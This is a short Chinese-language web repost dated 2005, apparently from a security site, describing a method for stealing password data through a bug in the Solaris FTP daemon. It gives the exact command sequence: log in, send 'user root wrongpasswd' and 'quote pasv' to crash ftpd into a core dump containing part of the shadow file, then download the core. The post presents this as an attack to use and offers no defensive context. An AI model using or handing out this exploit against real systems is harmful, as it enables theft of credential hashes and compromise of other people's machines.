|
 |
推荐文章 |
|
|
|
|
|
|
|
|
|
|
|
该方法利用了Solaris 操作系统中FTPD的一个BUG,使得用户可以获得该机的口令文件。具体过程如下:
1.通过 ftp 正常登录到目的主机上
2.输入如下命令序列:
ftp> user root wrongpasswd
ftp> quote pasv
3.这时,ftpd会报错退出,同时会在当前目录下生成一个core,口令文件就包含在这个core中。
4.再次进入FTP >get core
补充:虽然在core只有一部分shadow,但是对于系统来说已经是致命的打击了
这是我知道的一个方法~
|
|
|
|
|
|
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
|
|
|
|
|
责任编辑: 原点 |
投稿作者: 本站收集 |
|
|
信息来源: 网络 |
录入时间: 2005-5-14 |
|
|
|
| |
|